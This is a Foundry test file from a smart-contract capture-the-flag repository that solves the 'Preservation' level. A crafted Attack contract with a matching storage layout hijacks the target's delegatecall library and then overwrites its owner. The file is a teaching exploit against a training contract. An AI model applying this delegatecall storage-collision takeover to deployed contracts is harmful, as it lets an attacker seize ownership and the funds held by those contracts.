forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPreservation.t.sol
34 lines (25 loc) · 909 Bytes
/
Preservation.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./PreservationFactory.sol";
contract PreservationTest is Test {
PreservationFactory factory;
function setUp() public {
factory = new PreservationFactory();
}
function testPreservation() public {
address preservation = factory.createInstance(address(this));
address attack = address(new Attack());
Preservation(preservation).setFirstTime(uint256(uint160(attack)));
Preservation(preservation).setFirstTime(uint256(uint160(address(this))));
assertTrue(factory.validateInstance(payable(address(preservation)), address(this)));
}
}
contract Attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 _time) public {
owner = address(uint160(_time));
}
}